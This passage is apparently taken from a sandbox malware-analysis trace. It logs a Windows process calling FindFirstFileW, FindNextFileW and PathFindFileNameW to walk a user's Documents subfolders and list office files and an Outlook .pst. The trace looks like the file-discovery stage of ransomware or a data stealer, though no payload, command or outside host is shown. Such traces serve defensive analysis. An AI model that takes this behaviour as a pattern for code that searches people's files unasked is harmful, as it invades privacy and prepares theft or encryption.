dwReserved1=0x0, cFileName="yc2hVUR2 YKnU", cAlternateFileName="YC2HVU~1")) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d67b60, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0xfe98a7f0, ftLastAccessTime.dwHighDateTime=0x1d4cd1d, ftLastWriteTime.dwLowDateTime=0xfe98a7f0, ftLastWriteTime.dwHighDateTime=0x1d4cd1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yc2hVUR2 YKnU", cAlternateFileName="YC2HVU~1")) returned 0 [0111.686] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.686] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.686] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0111.686] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\") returned="m8Ml-6lNM1 wULCS0yD\\" [0111.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.687] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.687] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.687] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.687] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.687] PathFindFileNameW (pszPath="") returned="" [0111.687] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m8Ml-6lNM1 wULCS0yD\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a11f0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x2932e900, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x2932e900, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.689] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0111.689] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a11f0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x2932e900, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x2932e900, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.689] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaa59a90, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0xd1a82450, ftLastAccessTime.dwHighDateTime=0x1d4ccc8, ftLastWriteTime.dwLowDateTime=0xd1a82450, ftLastWriteTime.dwHighDateTime=0x1d4ccc8, nFileSizeHigh=0x0, nFileSizeLow=0x18ec9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-88UgF-e_va- z.pdf", cAlternateFileName="-88UGF~1.PDF")) returned 1 [0111.689] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6cccda0, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0x7c492c00, ftLastAccessTime.dwHighDateTime=0x1d4cb1c, ftLastWriteTime.dwLowDateTime=0x7c492c00, ftLastWriteTime.dwHighDateTime=0x1d4cb1c, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqqYDQxTwNdH.xls", cAlternateFileName="CQQYDQ~1.XLS")) returned 1 [0111.689] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d7ce60, ftCreationTime.dwHighDateTime=0x1d4c864, ftLastAccessTime.dwLowDateTime=0xc9d27ff0, ftLastAccessTime.dwHighDateTime=0x1d4cb8d, ftLastWriteTime.dwLowDateTime=0xc9d27ff0, ftLastWriteTime.dwHighDateTime=0x1d4cb8d, nFileSizeHigh=0x0, nFileSizeLow=0x1208c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rsZM.odp", cAlternateFileName="")) returned 1 [0111.689] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 1 [0111.689] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 0 [0111.689] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.690] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.690] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0111.690] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0111.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.690] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.690] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.690] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.690] PathFindFileNameW (pszPath="") returned="" [0111.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 0xffffffff [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48600 | out: hHeap=0x5010000) returned 1 [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48420 | out: hHeap=0x5010000) returned 1 [0111.691] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0111.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.691] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.691] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.691] PathFindFileNameW (pszPath="") returned="" [0111.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 0xffffffff [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48600 | out: hHeap=0x5010000) returned 1 [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48420 | out: hHeap=0x5010000) returned 1 [0111.691] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0111.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.691] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.691] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.691] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.691] PathFindFileNameW (pszPath="") returned="" [0111.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.692] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48600 | out: hHeap=0x5010000) returned 1 [0111.692] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.692] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.692] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0111.692] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0111.693] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0111.693] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48420 | out: hHeap=0x5010000) returned 1 [0111.693] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0111.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.693] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.693] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.693] PathFindFileNameW (pszPath="") returned="" [0111.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0111.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0111.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.693] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48420 | out: hHeap=0x5010000) returned 1 [0111.693] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0111.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.694] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.694] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.694] PathFindFileNameW (pszPath="") returned="" [0111.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.695] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.695] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0111.695] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0111.695] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.695] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.695] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\") returned="p4QbPuBf\\" [0111.695] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.695] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.695] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.695] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.695] PathFindFileNameW (pszPath="") returned="" [0111.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p4QbPuBf\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce75470, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xb8338960, ftLastAccessTime.dwHighDateTime=0x1d4ca1b, ftLastWriteTime.dwLowDateTime=0xb8338960, ftLastWriteTime.dwHighDateTime=0x1d4ca1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce75470, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xb8338960, ftLastAccessTime.dwHighDateTime=0x1d4ca1b, ftLastWriteTime.dwLowDateTime=0xb8338960, ftLastWriteTime.dwHighDateTime=0x1d4ca1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd96240, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0xc31989c0, ftLastAccessTime.dwHighDateTime=0x1d4cb50, ftLastWriteTime.dwLowDateTime=0xc31989c0, ftLastWriteTime.dwHighDateTime=0x1d4cb50, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0yZWpZno3W y.pptx", cAlternateFileName="0YZWPZ~1.PPT")) returned 1 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1008dde0, ftCreationTime.dwHighDateTime=0x1d4d073, ftLastAccessTime.dwLowDateTime=0x6eeb3230, ftLastAccessTime.dwHighDateTime=0x1d4cb65, ftLastWriteTime.dwLowDateTime=0x6eeb3230, ftLastWriteTime.dwHighDateTime=0x1d4cb65, nFileSizeHigh=0x0, nFileSizeLow=0x3d53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2i6XeIHPx.pps", cAlternateFileName="2I6XEI~1.PPS")) returned 1 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f33830, ftCreationTime.dwHighDateTime=0x1d4d043, ftLastAccessTime.dwLowDateTime=0xc5381730, ftLastAccessTime.dwHighDateTime=0x1d4cc04, ftLastWriteTime.dwLowDateTime=0xc5381730, ftLastWriteTime.dwHighDateTime=0x1d4cc04, nFileSizeHigh=0x0, nFileSizeLow=0x1866b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6UsyGLFtiuFsm.docx", cAlternateFileName="6USYGL~1.DOC")) returned 1 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8d120, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0xb9ca75e0, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xb9ca75e0, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x8fbf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAhk-.pps", cAlternateFileName="")) returned 1 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba07710, ftCreationTime.dwHighDateTime=0x1d4cd66, ftLastAccessTime.dwLowDateTime=0x4f334330, ftLastAccessTime.dwHighDateTime=0x1d4c960, ftLastWriteTime.dwLowDateTime=0x4f334330, ftLastWriteTime.dwHighDateTime=0x1d4c960, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBbqqZmAUxSDj.odp", cAlternateFileName="ZBBQQZ~1.ODP")) returned 1 [0111.697] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba07710, ftCreationTime.dwHighDateTime=0x1d4cd66, ftLastAccessTime.dwLowDateTime=0x4f334330, ftLastAccessTime.dwHighDateTime=0x1d4c960, ftLastWriteTime.dwLowDateTime=0x4f334330, ftLastWriteTime.dwHighDateTime=0x1d4c960, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBbqqZmAUxSDj.odp", cAlternateFileName="ZBBQQZ~1.ODP")) returned 0 [0111.698] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.698] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\") returned="SmG7\\" [0111.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.698] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.698] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.698] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.698] PathFindFileNameW (pszPath="") returned="" [0111.698] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\*", lpFindFileData=0x825fba4 | out: 